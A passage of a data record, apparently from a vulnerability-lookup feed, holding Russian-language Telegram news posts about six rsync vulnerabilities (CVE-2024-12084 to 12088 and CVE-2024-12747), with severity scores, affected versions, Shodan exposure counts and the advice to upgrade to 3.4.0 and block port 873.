\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T12:11:14.000000Z"}, {"uuid": "279f4f9c-4f3f-4abc-af1b-853c64420fa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/true_secator/6625", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 